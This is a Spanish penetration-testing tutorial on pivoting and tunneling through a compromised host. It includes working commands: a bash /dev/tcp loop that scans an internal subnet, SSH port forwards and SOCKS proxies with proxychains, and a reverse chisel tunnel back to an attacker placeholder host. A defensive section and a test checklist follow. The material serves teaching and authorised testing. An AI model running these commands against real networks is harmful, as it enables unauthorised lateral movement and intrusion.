Pivoting y túneles
Rara vez comprometes directamente tu objetivo final. Lo normal es tomar una máquina expuesta (DMZ, servidor web) y usarla como trampolín para alcanzar redes internas que no son accesibles desde fuera. El pivoting es usar un host comprometido como puente hacia esas redes, y los túneles son los mecanismos (port forwarding, SOCKS, VPN) que llevan tu tráfico a través de él. Sin pivoting, un pentest interno se queda en la primera máquina.
flowchart LR
A[Atacante] -->|"túnel / proxy (SOCKS)"| H["Host comprometido (pivote)"]
H -->|"acceso"| N["Red interna no enrutable"]
El host comprometido tiene acceso a redes que tú no: otra interfaz, una subred interna, un firewall que lo deja salir. El pivoting reutiliza ese acceso. Dos formas: port forwarding (redirigir un puerto concreto) y proxy SOCKS (enrutar cualquier tráfico/tool a través del pivote).
Reconocimiento desde el pivote
Sección titulada «Reconocimiento desde el pivote»Primero, ¿a qué llega el host comprometido?
ip a ; ip route # otras interfaces/subredesarp -a ; cat /etc/hosts # vecinos conocidos# escaneo ligero de la red interna desde el pivote (sin subir nmap)for i in $(seq 1 254); do (echo >/dev/tcp/10.10.10.$i/445) 2>/dev/null && echo "10.10.10.$i:445"; doneSSH: el pivoting más limpio
Sección titulada «SSH: el pivoting más limpio»Si tienes SSH, lo tienes casi todo:
# Local port forward: puerto local -> servicio interno vía el pivotessh -L 8080:10.10.10.5:80 user@pivote # tu localhost:8080 = interno:80# Remote port forward: expones un puerto tuyo en el pivotessh -R 9001:localhost:9001 user@pivote# Dynamic (SOCKS proxy): enruta CUALQUIER tool a la red internassh -D 1080 user@pivote # SOCKS en localhost:1080Luego, con proxychains, cualquier herramienta sale por el SOCKS:
# /etc/proxychains.conf -> socks5 127.0.0.1 1080proxychains nmap -sT -Pn 10.10.10.5proxychains nxc smb 10.10.10.0/24Cuando no hay SSH: herramientas de tunneling
Sección titulada «Cuando no hay SSH: herramientas de tunneling»chisel server/cliente HTTP -> SOCKS inverso (muy usado; sube un binario al pivote) # atacante: chisel server -p 8000 --reverse # pivote: chisel client ATACANTE:8000 R:socksligolo-ng túnel con interfaz TUN -> la red interna "aparece" como una interfaz local (cómodo)sshuttle "VPN sobre SSH" -> rutas la subred interna de forma transparentesocat / netcat relays de puerto puntualesmetasploit route add + socks_proxy (autoroute)ligolo-ng y sshuttle destacan por comodidad: enrutan subredes enteras sin configurar proxychains para cada tool.
Pivoting en cadena (doble pivote)
Sección titulada «Pivoting en cadena (doble pivote)»A veces el objetivo está a dos saltos: comprometes A (DMZ) → desde A llegas a B (interna) → desde B a C (más interna). Se encadenan túneles (SSH -J, chisel/ligolo anidados) para alcanzar redes cada vez más profundas.
Para la defensa
Sección titulada «Para la defensa»- Segmentación estricta: que un host de DMZ no alcance la red interna; microsegmentación.
- Egress filtering: limitar qué conexiones salientes puede hacer cada host (frena SOCKS inverso/C2).
- Detección: conexiones salientes inusuales (chisel/ligolo hacia IPs externas), tráfico tunelizado, un host escaneando internamente.
- EDR/NDR que detecte binarios de tunneling y patrones de pivoting; honeypots internos.
- Principio: un host comprometido no debería poder convertirse en puente hacia lo crítico.
Checklist de prueba
Sección titulada «Checklist de prueba»- Enumerar a qué redes/interfaces llega el pivote
- Escaneo ligero de la red interna desde el pivote
- SSH port forward (local/remote) a un servicio interno
- SOCKS dinámico (ssh -D / chisel / ligolo) + proxychains
- Enrutar tus herramientas a la red interna (nmap/nxc)
- Pivoting en cadena si el objetivo está a varios saltos
- Blue: ¿segmentación y egress filtering limitan el pivote?
- Documentar las subredes internas alcanzadas